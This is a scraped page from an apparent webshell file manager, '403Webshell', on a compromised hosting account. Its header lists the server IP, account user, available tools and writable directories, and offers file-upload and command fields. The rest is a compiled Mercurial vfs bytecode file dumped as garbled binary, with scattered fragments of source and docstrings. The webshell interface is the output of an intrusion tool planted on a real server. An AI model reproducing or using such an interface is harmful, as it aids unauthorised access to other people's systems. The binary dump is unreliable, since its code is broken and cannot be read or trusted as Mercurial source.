403Webshell
Server IP : 74.208.236.16  /  Your IP : 216.73.217.15
Web Server : Apache
System : Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User : u102440577 ( 7172810)
PHP Version : 8.4.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /kunden/lib/python3/dist-packages/mercurial/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /kunden/lib/python3/dist-packages/mercurial/__pycache__/vfs.cpython-313.pyc
�

6�h���<�%SSKJr SSKrSSKrSSKrSSKrSSKrSSKrSSKrSSKJ	r	J
r
JrJrJ
r
JrJrJrJrJrJrJrJrJr SSKJr SSKJrJrJrJrJr \R>(aSSKJ r! \"SS	S
9r"\"SSS
9r#\\$/\\%4r&S"S
jr'"SS\RP5r)"SS\)5r*\*r+S\,S'"SS\)\RP5r-"SS\-\)5r.\.r/S\,S'"SS\-5r0"SS\RP5r1"SS\15r2"SS	5r3"S S!\15r4g)#�)�annotationsN)�Any�BinaryIO�Callable�Dict�Iterable�Iterator�List�MutableMapping�Optional�Set�Tuple�Type�TypeVar�Union�)�_)�encoding�error�pathutil�pycompat�util)�ui�_Tbackgroundfilecloser�backgroundfilecloser)�bound�_Tclosewrapbase�
closewrapbasec�^^�UU4SjnU"5(d3[R"[R"T5T5 U"5 gg)z�Avoid file stat ambiguity forcibly

This function causes copying ``path`` file, if it is owned by
another (see issue5418 and issue5584 for detail).
c�>�[RRT5nURT5(+=(d UR	TT5$�N)r�filestat�frompath�isambig�
avoidambig)�newstat�oldstat�paths ���//usr/lib/python3/dist-packages/mercurial/vfs.py�
checkandavoid�"_avoidambig.<locals>.checkandavoid?s;����-�-�(�(��.���?�?�7�+�+�P�w�/A�/A�$��/P�P�N)r�rename�
mktempcopy)r(r'r*s`` r)�_avoidambigr/8s5���Q�
�?�?�	
���D�O�O�D�)�4�0���	r,c���\rSrSr%SrSrS\S'SrS\S'S	\S
'\RS>S?Sjj5r
\RS@Sj5r\RSAS
j5rSBSjr
S>SCSjjr\R S5rSBSjrS>SCSjjrSDSESjjrSFSGSjjrSHSjrSBSjrSISjrSBSjrSJSKSjjrSLSjrSJSKSjjrSJSKSjjrSJSKSjjrSJSKSjjrSMS jr SMS!jr!SNS"jr"SJSKS#jjr#SJSOS$jjr$SJSKS%jjr%SJSPS&jjr&SQSRS'jjr'SSSTS(jjr(SUS)jr)SJSRS*jjr*SVSWS+jjr+SXSYS,jjr,SBS-jr-SDSZS.jjr.SBS/jr/SJSRS0jjr0SJSRS1jjr1S[S\S2jjr2S]S3jr3SJSOS4jjr4SJSRS5jjr5SJSKS6jjr6S^S_S7jjr7SSS`S8jjr8SSSaS9jjr9\:RvSbScS:jj5r<SdS;jr=SeS<jr>S=r?g)f�abstractvfs�Kz+Abstract base class; cannot be instantiated�/�bytes�_dir_sepT�int�
createmode�bool�_chmodc��gr!�)�selfr(�mode�kwargss    r)�__call__�abstractvfs.__call__`���r,c��gr!r;�r<r(r=s   r)�
_auditpath�abstractvfs._auditpathdrAr,c��gr!r;�r<r(�insidefs   r)�join�abstractvfs.joinhrAr,c�F�URU5$![a gf=f)z3gracefully return an empty string for missing filesr,)�read�FileNotFoundError�r<r(s  r)�tryread�abstractvfs.tryreadls*��	��9�9�T�?�"�� �	���	�s��
 � c�D�URXS9$![a /$f=f)z2gracefully return an empty array for missing files�r=)�	readlinesrMrCs   r)�tryreadlines�abstractvfs.tryreadlinests/��	��>�>�$�>�2�2�� �	���	�	�s��
�c��UR$)z�Open ``path`` file, which is relative to vfs root.

Newly created directories are marked as "not to be indexed by
the content indexing service", if ``notindexed`` is specified
for "write" mode access.
)r?�r<s r)�open�abstractvfs.open|s���}�}�r,c�j�U"US5nUR5sSSS5 $!,(df   g=f)N�rb)rL)r<r(�fps   r)rL�abstractvfs.read�s#��
�$��
�"��7�7�9��
�
�s�$�
2c�d�U"XS9nUR5sSSS5 $!,(df   g=f)NrR)rS)r<r(r=r\s    r)rS�abstractvfs.readlines�s!��
�$�
"�b��<�<�>�#�
"�
"�s�!�
/c�r�U"US4SU0UD6nURU5sSSS5 $!,(df   g=f)N�wb�backgroundclose��write)r<r(�datarbr>r\s      r)rd�abstractvfs.write�s2���$��
I��
I�&�
I�R��8�8�D�>�J�
I�
I�s�(�
6c�h�U"XUS9nURU5sSSS5 $!,(df   g=f)N)r=�
notindexed)�
writelines)r<r(rer=rhr\s      r)ri�abstractvfs.writelines�s(���$�j�
9�R��=�=��&�:�
9�
9�s�#�
1c�l�U"US5nURU5sSSS5 $!,(df   g=f)Nsabrc)r<r(rer\s    r)�append�abstractvfs.append�s%��
�$��
�"��8�8�D�>��
�
�s�%�
3c�@�[RRU5$)zzreturn base element of a path (as os.path.basename would do)

This exists to allow handling of strange encoding if needed.)�osr(�basenamerNs  r)rp�abstractvfs.basename�s���w�w����%�%r,c�N�[R"URU5U5$r!)ro�chmodrIrCs   r)rs�abstractvfs.chmod�s���x�x��	�	�$���.�.r,c�@�[RRU5$)z|return dirname element of a path (as os.path.dirname would do)

This exists to allow handling of strange encoding if needed.)ror(�dirnamerNs  r)rv�abstractvfs.dirname�s���w�w���t�$�$r,Nc�^�[RRURU55$r!)ror(�existsrIrNs  r)ry�abstractvfs.exists�����w�w�~�~�d�i�i��o�.�.r,c�.�[R"U5$r!)r�fstat)r<r\s  r)r}�abstractvfs.fstat�s���z�z�"�~�r,c�^�[RRURU55$r!)ror(�isdirrIrNs  r)r��abstractvfs.isdir�s���w�w�}�}�T�Y�Y�t�_�-�-r,c�^�[RRURU55$r!)ror(�isfilerIrNs  r)r��abstractvfs.isfile�r{r,c�^�[RRURU55$r!)ror(�islinkrIrNs  r)r��abstractvfs.islink�r{r,c���URU5nURn[R"U5=(d [R
"U5$![a gf=f)z`return whether path is a regular file or a symlink

Unlike isfile, this doesn't follow symlinks.F)�lstat�OSError�st_mode�stat�S_ISREG�S_ISLNK)r<r(�str=s    r)�isfileorlink�abstractvfs.isfileorlink�sQ��	����D�!�B��z�z���|�|�D�!�7�T�\�\�$�%7�7���	��	�s�A�
A�Ac�F�Sn[U5HMup4[RRU5(d"UR	UR
5(dMKUnMO US:waXSnUVs/sH
oD(dMUPM nnUR
R
U5$s snf�Nr)�	enumerateror(�isabs�
startswithr5rI)r<�paths�root_idx�idx�ps     r)�_join�abstractvfs._join�s�������&�F�C��w�w�}�}�Q���1�<�<��
�
�#>�#>���'��q�=��)�$�E�!�'�E�q�Q��E��'��}�}�!�!�%�(�(��(s�-
B�;Bc� �UR"U6$)z�join various elements of a path together (as os.path.join would do)

The vfs base is not injected so that path stay relative. This exists
to allow handling of strange encoding if needed.)r�)r<r�s  r)�reljoin�abstractvfs.reljoin�s��
�z�z�5�!�!r,c�@�[RRU5$)zzsplit top-most element of a path (as os.path.split would do)

This exists to allow handling of strange encoding if needed.)ror(�splitrNs  r)r��abstractvfs.split�s���w�w�}�}�T�"�"r,c�^�[RRURU55$r!)ror(�lexistsrIrNs  r)r��abstractvfs.lexists�s���w�w���t�y�y���/�/r,c�L�[R"URU55$r!)ror�rIrNs  r)r��abstractvfs.lstat�����x�x��	�	�$��(�(r,c�l�[R"URU55nUSL=(a US:g$)a�return True if it is safe to read a file content as mmap

This focus on the file system aspect of such safety, the application
logic around that file is not taken into account, so caller need to
make sure the file won't be truncated in a way that will create SIGBUS
on access.


The initial motivation for this logic is that if mmap is used on NFS
and somebody deletes the mapped file (e.g. by renaming on top of it),
then you get SIGBUS, which can be pretty disruptive: we get core dump
reports, and the process terminates without writing to the blackbox.

Instead, in this situation we prefer to read the file normally.
The risk of ESTALE in the middle of the read remains, but it's
smaller because we read sooner and the error should be reported
just as any other error.

Note that python standard library does not offer the necessary function
to detect the file stem bits. So this detection rely on compiled bits
and is not available in pure python.
Nsnfs)r�	getfstyperI)r<r(�fstypes   r)�is_mmap_safe�abstractvfs.is_mmap_safe�s/��4����	�	�$��0���T�!�6�f��&6�6r,c�L�[R"URU55$r!)ro�listdirrIrNs  r)r��abstractvfs.listdirs���z�z�$�)�)�D�/�*�*r,c�N�[R"URU5U5$r!)r�makedirrI)r<r(rhs   r)r��abstractvfs.makedirs���|�|�D�I�I�d�O�Z�8�8r,c�N�[R"URU5U5$r!)r�makedirsrIrCs   r)r��abstractvfs.makedirss���}�}�T�Y�Y�t�_�d�3�3r,c�L�[R"XRU55$r!)r�makelockrI)r<�infor(s   r)r��abstractvfs.makelocks���}�}�T�9�9�T�?�3�3r,c�L�[R"URU55$r!)ro�mkdirrIrNs  r)r��abstractvfs.mkdirr�r,c���[R"XURU5S9upE[R"U5upgU(a!U[
RRX754$XG4$)N)�suffix�prefix�dir)r�mkstemprIrr�ror()r<r�r�r��fd�name�dname�fnames        r)r��abstractvfs.mkstempsX���#�#��d�i�i��n�
����z�z�$�'�����r�w�w�|�|�C�/�/�/��9�r,c�N�[R"URU5X#5$r!)rr�rI)r<r(r��skips    r)�readdir�abstractvfs.readdir+s���|�|�D�I�I�d�O�T�8�8r,c�L�[R"URU55$r!)r�readlockrIrNs  r)r��abstractvfs.readlock0����}�}�T�Y�Y�t�_�-�-r,c�2�URUS5 URU5nURU5nU(a[RR	U5OSn[R
"XE5 U(aUR(a[XV5 ggg)a|Rename from src to dst

checkambig argument is used with util.filestat, and is useful
only if destination file is guarded by any lock
(e.g. repo.lock or repo.wlock).

To avoid file stat ambiguity forcibly, checkambig=True involves
copying ``src`` file, if it is owned by another. Therefore, use
checkambig=True only in limited cases (see also issue5418 and
issue5584 for detail).
�wN)rDrIrr"r#r-r�r/)r<�src�dst�
checkambig�srcpath�dstpathr's       r)r-�abstractvfs.rename3sh��	
����T�"��)�)�C�.���)�)�C�.��5?�$�-�-�(�(��1�T�����G�%��w�|�|���)�$�7r,c�L�[R"URU55$r!)r�readlinkrIrNs  r)r��abstractvfs.readlinkIr�r,c�L�[R"URU55$)z7Remove a leaf directory and all empty intermediate ones)r�
removedirsrIrNs  r)r��abstractvfs.removedirsLs�����t�y�y���/�/r,c�L�[R"URU55$)zRemove an empty directory.)ro�rmdirrIrNs  r)r��abstractvfs.rmdirPs���x�x��	�	�$��(�(r,c���U(aSSjnOSn[R"URU5X$S9$![a' [R"URU5X$S9s$f=f)zaRemove a directory tree recursively

If ``forcibly``, this tries to remove READ-ONLY files, too.
c�T�U[RLae[R"U5nUR[R-S:wae[R
"U[R"UR5[R-5 [R"U5 gr�)ro�remover�r��S_IWRITErs�S_IMODE)�functionr(�excinfo�ss    r)�onexc�!abstractvfs.rmtree.<locals>.onexc`sg��
�2�9�9�,���G�G�D�M���I�I��
�
�-�!�3������t�|�|�A�I�I�6����F�G��	�	�$�r,c��gr!r;)�argss r)r�r�ps��r,)�
ignore_errorsr�)r��onerror)r�rr(�strr��	Exception)�shutil�rmtreerI�	TypeError)r<r(r��forciblyr�s     r)r��abstractvfs.rmtreeTsc���
 � 
�		��=�=��	�	�$��}��
���	��=�=��	�	�$��}��
�	�s�#6�.A'�&A'c�N�[R"URU5X#5$r!)r�setflagsrI)r<r(�l�xs    r)r��abstractvfs.setflags~s���}�}�T�Y�Y�t�_�a�3�3r,c�L�[R"URU55$r!)ror�rIrNs  r)r��abstractvfs.stat�s���w�w�t�y�y���'�'r,c�L�[R"URU55$r!)r�unlinkrIrNs  r)r��abstractvfs.unlink�s���{�{�4�9�9�T�?�+�+r,c�L�[R"URU55$)z7Attempt to remove a file, ignoring missing file errors.)r�	tryunlinkrIrNs  r)r�abstractvfs.tryunlink�s���~�~�d�i�i��o�.�.r,c�J�[R"URU5X#S9$)N)�
ignoremissingr�)r�
unlinkpathrI)r<r(rr�s    r)r�abstractvfs.unlinkpath�s"������I�I�d�O�=�
�	
r,c�N�[R"URU5U5$r!)ro�utimerI)r<r(�ts   r)r�abstractvfs.utime�s���x�x��	�	�$���+�+r,c#�# �[RRURS55n[	[
R"U55n[R"URU5US9HupVnXTSXg4v� M g7f)aYield (dirpath, dirs, files) tuple for each directory under path

``dirpath`` is relative one from the root of this vfs. This
uses ``os.sep`` as path separator, even you specify POSIX
style ``path``.

"The root of this vfs" is represented as empty ``dirpath``.
N)r�)ror(�normpathrI�lenr�normasprefix�walk)r<r(r��root�	prefixlen�dirpath�dirs�filess        r)r�abstractvfs.walk�sm����w�w����	�	�$��0����-�-�d�3�4�	�$&�G�G�D�I�I�d�O�W�$M� �G�5��:�&��4�4�%N�s�BBc#�n# �[R"5[R"5LaSv� g[USU5n[USS5(a[R
"[
S55e[XS9nUUlUv� SUlSSS5 g!SUlf=f!,(df   g=f7f)z�Allow files to be closed asynchronously.

When this context manager is active, ``backgroundclose`` can be passed
to ``__call__``/``open`` to result in the file possibly being closed
asynchronously, on a background thread.
N�vfs�_backgroundfileclosers-can only have 1 active background file closer)�
expectedcount)	�	threading�current_thread�main_thread�getattrr�Abortrrr)r<rrr�bfcs     r)�backgroundclosing�abstractvfs.backgroundclosing�s�����#�#�%�Y�-B�-B�-D�D����d�E�4�(���3�/��6�6��+�+��B�C��
�"�"�
B�c�
���)��	���)�C�
B����)��C�
B�s6�A8B5�:B$�<B�B$�	B5�	B!�!B$�$
B2�.B5c��g)z1generic hook point to lets fncache steer its stewNr;rNs  r)�
register_file�abstractvfs.register_file�s�r,c�J�URU5nURUS5 URU5 [R"U5upEXB;a2[R
"X@RS5 URU5 SnURbURS-nX64$)atmake sure we are ready to write a file from a stream clone

The "known_directories" variable is here to avoid trying to create the
same directories over and over during a stream clone. It will be
updated by this function.

return (path, mode)::

    <path> is the real file system path content should be written to,
    <mode> is the file mode that need to be set if any.
raTN�)rIrDr#rr�r�r7�add)r<r(�known_directories�	real_pathrvrpr=s       r)�prepare_streamed_file�!abstractvfs.prepare_streamed_file�s����I�I�d�O�	����	�5�)����4� � �J�J�y�1����+��M�M�'�?�?�D�9��!�!�'�*����?�?�&��?�?�U�*�D���r,r;�r[�r(r4r=r4�returnr�r(r4r=r4r.�None�r(�Optional[bytes]rHr4r.r4)r(r4r.r4)r(r4r=r4r.�List[bytes])F)r(r4rer4rbr8r.r6)raF)
r(r4rezIterable[bytes]r=r4rhr8r.r0)r(r4rer4r.r6)r(r4r=r6r.r0r!)r(r2r.r8)r\rr.�os.stat_result)r�r4r.r4)r(r4r.zTuple[bytes, bytes])r(r2r.r4)r(r2r.r3�NT)r(r2r.r0)NN)r(r2r=�
Optional[int]r.r0)r�r4r(r4r.r0)r,stmpN)r�r4r�r4r�r2r.zTuple[int, bytes])NNN)r(r2r.r)r�r4r�r4r�r8r.r0)NFF)r(r2r�r8r�r8r.r0)r(r4r�r8r�r8r.r0)NFT)r(r2rr8r�r8r.r0)r(r2r	zOptional[Tuple[int, int]]r.r0)r(r2r�zOptional[_OnErrorFn]r.z0Iterator[Tuple[bytes, List[bytes], List[bytes]]]����)r�uimod.uirr6r.z(Iterator[Optional[backgroundfilecloser]])r(r4r.r0)r(r4r(z
Set[bytes]r.zTuple[bytes, Optional[int]])@�__name__�
__module__�__qualname__�__firstlineno__�__doc__r5�__annotations__�rust_compatible�abc�abstractmethodr?rDrIrOrTr�
propertycacherXrLrSrdrirlrprsrvryr}r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r-r�r�r�r�r�r�r�rrrr�
contextlib�contextmanagerr r#r*�__static_attributes__r;r,r)r1r1Ks��5��H�e���O��O��L�	������	������	��������
�������"�
AF�"��"�!&�"�9=�"�	�"�� �'��'��'��	'�
�'�
�
'�"�&�/�%�/��.�/�/�	8�)�"�#�0�)�7�:+�9�CG�4�#�4�2?�4�	
�4�
4�)�
��#�	
��
��
��	
�

�
�,=A�9�#�9�	�9�
.�*�,.�0�)�!%�#��	(��(��(��	(�

�(�T4�(�,�/�!%�#��	
��
��
��	
�

�
�LP�,�#�,�/H�,�	
�,�MQ�5�#�5�5I�5�	9�5�$���13����+.��	1����@@����.8��	$�r,r1c�T�\rSrSr%SrS\S'S\S'S\S'S	\S
'S\S'S
\S'SSSjjr\RSSj5r	\RSSj5r
SSjrSSjrSSjr
S S!SjjrS"SjrS#SjrSrg)$ri�aSOperate files relative to a base directory

This class is used to hide the details of COW semantics and
remote file access from higher level code.

'cacheaudited' should be enabled only if (a) vfs object is short-lived, or
(b) the base directory is managed by hg and considered sort-of append-only.
See pathutil.pathauditor() for details.
zDUnion[pathutil.pathauditor, Callable[[bytes, Optional[bytes]], Any]]�auditr4�baser6r7�Dict[bytes, Any]�optionsr8�_auditzOptional[bool]�_trustnlinkc�8�U(a[R"U5nU(a[RR	U5nXlX lU(a%[R"UR
US9Ul	O
SSjUl	SUl
SUl0Ulg)N)�cachedc��gr5r;)r(r=s  r)�<lambda>�vfs.__init__.<locals>.<lambda>s��r,r!)
r�
expandpathror(�realpathrIrLr�pathauditorrHr7rMrK)r<rIrH�cacheauditedrSrTs      r)�__init__�vfs.__init__�sn����?�?�4�(�D���7�7�#�#�D�)�D��	����!�-�-�d�i�i��M�D�J�5�D�J���������r,c�B�[R"UR5$r!)r�	checklinkrIrWs r)�_cansymlink�vfs._cansymlink����~�~�d�i�i�(�(r,c�B�[R"UR5$r!)r�	checkexecrIrWs r)r9�
vfs._chmodr]r,c��URbUR(dg[R"XRS-5 g)Nr&)r7r9rors)r<r�s  r)�_fixfilemode�vfs._fixfilemodes*���?�?�"�$�+�+��
�������.�/r,c��UR(a�[RRU5(aIUR	UR
5(a)[RR
XR
5n[R"U5nU(a[R"SX14-5eURXS9 gg)Ns%s: %rrR)rLror(r�r�rI�relpathr�checkosfilenamerrrH)r<r(r=�rs    r)rD�vfs._auditpath!s����;�;��w�w�}�}�T�"�"�t���t�y�y�'A�'A��w�w���t�Y�Y�7���$�$�T�*�A���k�k�)�q�i�"7�8�8��J�J�t�J�'�
r,c�J�[R"[R"U55HDnX1;aXnO.[RRURX25nXAU'U(aMD g URU5$![[R4a gf=f)areturn True if the path is a regular file or a symlink and
the directories along the path are "normal", that is
not symlinks or nested hg repositories.

Ignores the `_audit` setting, and checks the directories regardless.
`dircache` is used to cache the directory checks.
F)r�finddirs_rev_norootr�	localpathrU�_checkfs_existsrIr�rrr�)r<�dircacher(r��ress     r)�isfileorlink_checkdir�vfs.isfileorlink_checkdir*s���	�"�6�6�t�~�~�d�7K�L���%�"�*�C�"�.�.�>�>��	�	�6��C�(+�V�$��s� �M�� � ��&�&������%�	��	�s�A*B�0B�2B�B"�!B"c
�f�U(aURX5 URU5n
SU;aUS-
nSnUS;GaH[R"U
5up�U
(Ga(U(aHU(a![R"X�R
U5 [R"X�UR
US9$SU;a[R"U
5 SnO=[R"U
5 [R"U
5nUS:aSnS	S	S	5 US:�avURc'US:�=(d [R"U
5UlUS:�dUR(d+[R"[R"U
5U
5 [R"X�U	S
9nUS:XaURU
5 U(a3US;a"[ R""[%S5U-5e['U5nU(aq[(R*"5[(R,"5LaFUR.(d[ R""[%S55e[1UUR.5nU$!,(df   GNk=f![a. SnU(a![R"X�R
U5 GN�f=f)
a�Open ``path`` file, which is relative to vfs root.

By default, parent directories are created as needed. Newly created
directories are marked as "not to be indexed by the content indexing
service", if ``notindexed`` is specified for "write" mode access.
Set ``makeparentdirs=False`` to not create directories implicitly.

If ``backgroundclose`` is passed, the file may be closed asynchronously.
It can only be used if the ``self.backgroundclosing()`` context manager
is active. This should only be specified if the following criteria hold:

1. There is a potential for writing thousands of files. Unless you
   are writing thousands of files, the performance benefits of
   asynchronously closing files is not realized.
2. Files are opened exactly once for the ``backgroundclosing``
   active duration and are therefore free of race conditions between
   closing a file on a background thread and reopening it. (If the
   file were opened multiple times, there could be unflushed data
   because the original file handle hasn't been flushed/closed yet.)

``checkambig`` argument is passed to atomictempfile (valid
only for writing), and is useful only if target file is
guarded by any lock (e.g. repo.lock or repo.wlock).

To avoid file stat ambiguity forcibly, checkambig=True involves
copying ``path`` file opened in "append" mode (e.g. for
truncation), if it is owned by another. Therefore, use
combination of append mode and checkambig=True only in limited
cases (see also issue5418 and issue5584 for detail).
�br8��rr[)r�r�rr�N)�	bufferings>implementation error: mode %s is not valid for checkambig=TruesSbackgroundclose can only be used when a backgroundclosing context manager is active)rDrIrr�r�r7�atomictempfiler��	posixfile�nlinksrMrM�
checknlinkr-r.rbrrr�checkambigatclosingrrrr�delayclosedfile)r<r(r=�
atomictemprhrbr��	auditpath�makeparentdirsrv�f�nlinkrvrpr\s               r)r?�vfs.__call__Es+��T��O�O�D�'��I�I�d�O���t���D�L�D����}�$� $�
�
�1�
��G���%��
�
�g���
�K��.�.�����Z���L��t�|����A�� !��"�^�^�A�.�$(�K�K��N�E�$�q�y�()��/��1�9��'�'�/�+0�1�9�+J�����8J��(��q�y��(8�(8����D�O�O�A�$6��:�
�^�^�A�y�
9���A�:����a� ���}�$��k�k��6���	���%�R�(�B�
��(�(�*�i�.C�.C�.E�E��.�.��k�k��G����!���*�*��B�
�	�_/�.��)�L��E�%��
�
�g���
�K��L�s6�.I8�
I8�#I&�I8�&
I5�0I8�5I8�84J0�/J0c	��URU5 URU5n[R"U5 [R"[
RRU5UR5 UR(a[
R"X5 gUR#X!5 g![aHn[UR[S5U[R"UR 54-U5eSnAff=f)Nscould not symlink to %r: %s)rHrIrrr�ror(rvr7r[�symlinkr��errnorr�
strtolocal�strerrorrd)r<r�r��linkname�errs     r)r��vfs.symlink�s����
�
�3���9�9�S�>�����x� ��
�
�b�g�g�o�o�h�/����A����
��
�
�3�)�
�J�J�s� ���
���I�I��4�5��H�/�/����=�>�?��	���
�s�	B2�2
D�<AC?�?Dc��U(a.URU/nURU5 UR"U6$UR$r!)rI�extendr�)r<r(rH�partss    r)rI�vfs.join�s8����Y�Y��%�E��L�L��!��:�:�u�%�%��9�9�r,)rLrMrHrIr7rKN)TFFF)rIr4rHr8rVr8rSr8rTr8r.r0)r.r8)r�r4r.r0r/)rmzMutableMapping[bytes, bool]r(r4r.r8)r[FFFFTTr8)r(r4r=r4r}r8rhr8rbr8r�r8r~r8rr8rvr6r.r)r�r4r�r4r.r0r1)r:r;r<r=r>r?rWrrCr[r9rbrDror?r�rIrFr;r,r)rr�so���P�O�
�K���
���L���
�"� ��
������	�
���
�
��,
���)��)�
���)��)�0�
(�'�-�'��'�
�	'�<� � � %� ��#��s��s��s��	s�
�s��
s��s��s��s��s�

�s�j!�(r,rz	Type[vfs]�openerc��\rSrSrS
Sjr\SSj5rSSjr\S
Sj5r\RSSj5r\S5r
Srg	)�proxyvfsi�c��Xlgr!�r�r<rs  r)rW�proxyvfs.__init__�s���r,c�.�URR$r!)rr7rWs r)r7�proxyvfs.createmode�s���x�x�"�"�"r,c�8�URRX5$r!)rrDrCs   r)rD�proxyvfs._auditpath�s���x�x�"�"�4�.�.r,c�.�URR$r!�rrKrWs r)rK�proxyvfs.options�s���x�x���r,c�$�XRlgr!r�)r<�values  r)rKr��s�� ���r,c�.�URR$r!)rrHrWs r)rH�proxyvfs.audit�s���x�x�~�~�r,r�N�rrr.r0)r.r6r/)r.rJ)r�rJr.r0)r:r;r<r=rW�propertyr7rDrK�setterrHrFr;r,r)r�r��s`����#��#�/�� �� �
�^�^�!��!����r,r�c�6�\rSrSrSrSSjrS	SjrS
SjrSrg)�	filtervfsi�z4Wrapper vfs for filtering filenames with a function.c�:�[RX5 X lgr!)r�rW�_filter)r<r�filters   r)rW�filtervfs.__init__�s�����$�$��r,c�L�UR"URU5/UQ70UD6$r!)rr�)r<r(r�r>s    r)r?�filtervfs.__call__�s$���x�x����T�*�<�T�<�V�<�<r,c���U(aEURRURURR"U/UQ7655$URRU5$r!)rrIr�r�rGs   r)rI�filtervfs.join�sH����8�8�=�=����d�h�h�.>�.>�t�.N�g�.N�!O�P�P��8�8�=�=��&�&r,)r�N)rrr�zCallable[[bytes], bytes]r.r0)r(r4r.rr1�	r:r;r<r=r>rWr?rIrFr;r,r)r�r��s��>��
=�'r,r�zType[filtervfs]�filteropenerc�:�\rSrSrSrSSjrS	S
SjjrSSjrSrg)�readonlyvfsiz#Wrapper vfs preventing any writing.c�.�[RX5 gr!)r�rWr�s  r)rW�readonlyvfs.__init__
s�����$�$r,c�x�US;a[R"[S55eUR"X/UQ70UD6$)Nrssthis vfs is read only)rrrr)r<r(r=r��kws     r)r?�readonlyvfs.__call__s8���}�$��+�+�a� 8�9�:�:��x�x��0�T�0�R�0�0r,c�<�URR"U/UQ76$r!)rrIrGs   r)rI�readonlyvfs.joins���x�x�}�}�T�,�G�,�,r,r;Nr�r,r-r1r�r;r,r)r�r�s��-�%�1�
-r,r�c��\rSrSrSrSSjrS
SjrSSjrSSjrSSjr	\
RSSj5r\
RSS	j5r
S
rg)rizVBase class of wrapper, which hooks closing

Do not instantiate outside the vfs layer.
c�2�[RUSU5 g)N�_origfh)�object�__setattr__)r<�fhs  r)rW�closewrapbase.__init__s�����4��B�/r,c�.�[URU5$r!)rr��r<�attrs  r)�__getattr__�closewrapbase.__getattr__ ����t�|�|�T�*�*r,c�.�[URX5$r!)�setattrr�)r<r�r�s   r)r��closewrapbase.__setattr__#s���t�|�|�T�1�1r,c�.�[URU5$r!)�delattrr�r�s  r)�__delattr__�closewrapbase.__delattr__&r�r,c�:�URR5 U$r!)r��	__enter__rWs r)r��closewrapbase.__enter__)s������� ��r,c��gr!r;�r<�exc_type�	exc_value�exc_tbs    r)�__exit__�closewrapbase.__exit__-rAr,c��gr!r;rWs r)�close�closewrapbase.close1rAr,r;N�r.r0)r�r�r.r)r�r�r�rr.r0)r�r�r.r0)r<rr.r)r:r;r<r=r>rWr�r�r�r�rArBr�r�rFr;r,r)rrsT���
0�+�2�+��	������	�����r,c�D^�\rSrSrSrSU4SjjrSSjrSSjrSrU=r	$)r|i6z[Proxy for a file object whose close is delayed.

Do not instantiate outside the vfs layer.
c�R>�[TU]U5 [RUSU5 g)N�_closer)�superrWr�r�)r<r��closer�	__class__s   �r)rW�delayclosedfile.__init__<s"���
��������4��F�3r,c�N�URRUR5 gr!�r�r�r�r�s    r)r��delayclosedfile.__exit__@��������4�<�<�(r,c�N�URRUR5 gr!r�rWs r)r��delayclosedfile.closeCr�r,r;r�)
r:r;r<r=r>rWr�r�rF�
__classcell__�r�s@r)r|r|6s����
4�)�)�)r,r|c�N�\rSrSrSrS
SSjjrSSjrS
SjrS
SjrS
Sjr	Sr
g	)riGzCCoordinates background closing of file handles on multiple threads.c�H�SUlSUl/UlSUl[R
nUR
SSU5nU(dgURSS5nUS:�aX%:agURSS5nURSS5nURSU-5 [RRUS	9UlS
Ul[U5HMn[R"URSS9n	URR!U	5 U	R#5 MO g)
NFsworkersbackgroundclosesbackgroundcloseminfilecountrsbackgroundclosemaxqueuesbackgroundclosethreadcounts0starting %d threads for background file closing
)�maxsizeT�backgroundcloser)�targetr�)�_running�_entered�_threads�_threadexceptionr�	iswindows�
configbool�	configint�debug�queue�Queue�_queue�ranger�Thread�_workerrl�start)
r<rr�defaultenabled�enabled�minfilecount�maxqueue�threadcount�ir	s
          r)rW�backgroundfilecloser.__init__Js����
���
���
� $���"�+�+���-�-�	�+=�~�N����
�|�|�I�/M�N���1���!=���<�<�	�+E�F���l�l�9�.K�L��
���@�;�N�	
��n�n�*�*�8�*�<�����
��{�#�A�� � ����;M�N�A��M�M� � ��#�
�G�G�I�$r,c��SUlU$r5)r�rWs r)r��backgroundfilecloser.__enter__ps����
��r,c�X�SUlURHnUR5 M g)NF)r�r�rI)r<r�r�r�r	s     r)r��backgroundfilecloser.__exit__ts"����
����A�
�F�F�H�r,c��URRSSS9nUR5 M.![anX lSnANSnAff=f![
RRa UR(dgNRf=f)zMain routine for worker thread.Tg�������?��block�timeoutN)	r��getr�r�r�rr��Emptyr��r<r��es   r)r��backgroundfilecloser._worker|sw���
��[�[�_�_�4��_�?��.��H�H�J�
��!�.�,-�)�)��.���>�>�'�'�
��}�}��%�
�s1�A
�0�
A
�A�A
�A
�
A
�
/B�Bc�*�UR(d[R"[S55eUR(aURnSUlUeUR
(dUR
5 gURRUSSS9 g)zSchedule a file for closing.s1can only call close() when context manager activeNTr
)	r�rrrr�r�r�r��putrs   r)r��backgroundfilecloser.close�sq���}�}��+�+��F�G��
�� � ��%�%�A�$(�D�!��G��}�}��H�H�J��������$���5r,)r�r�r�r�r�Nr7)rr9rr6r.r0)r<rr.rr�)r:r;r<r=r>rWr�r�r�r�rFr;r,r)rrGs��M�$�L��� 6r,c�N^�\rSrSrSrSU4SjjrSSjrSSjrSSjrSr	U=r
$)	r{i�aProxy for a file object, to avoid ambiguity of file stat

See also util.filestat for detail about "ambiguity of file stat".

This proxy is useful only if the target file is guarded by any
lock (e.g. repo.lock or repo.wlock)

Do not instantiate outside the vfs layer.
c�>�[TU]U5 [RUS[R
R
UR55 g)N�_oldstat)r�rWr�r�rr"r#r�)r<r�r�s  �r)rW�checkambigatclosing.__init__�s5���
��������4��T�]�]�-C�-C�B�G�G�-L�Mr,c��URnUR(a![URRU5 ggr!)rr�r/r�r�)r<r's  r)�_checkambig�checkambigatclosing._checkambig�s+���-�-���<�<�����)�)�7�3�r,c�\�URRXU5 UR5 gr!)r�r�rr�s    r)r��checkambigatclosing.__exit__�s"�������h�6�:����r,c�X�URR5 UR5 gr!)r�r�rrWs r)r��checkambigatclosing.close�s�����������r,r;r�)r:r;r<r=r>rWrr�r�rFr�r�s@r)r{r{�s"����N�4�
��r,r{)r(r4r'z
util.filestatr.r0)5�
__future__rrArDror�r�r�typingrrrrrr	r
rrr
rrrr�i18nr�rrrrr�
TYPE_CHECKINGr�uimodrrr�r��
_OnErrorFnr/�ABCr1rr�r?r�r�r�r�rr|rr{r;r,r)�<module>r(s*��#�
��	�
���
�����"���
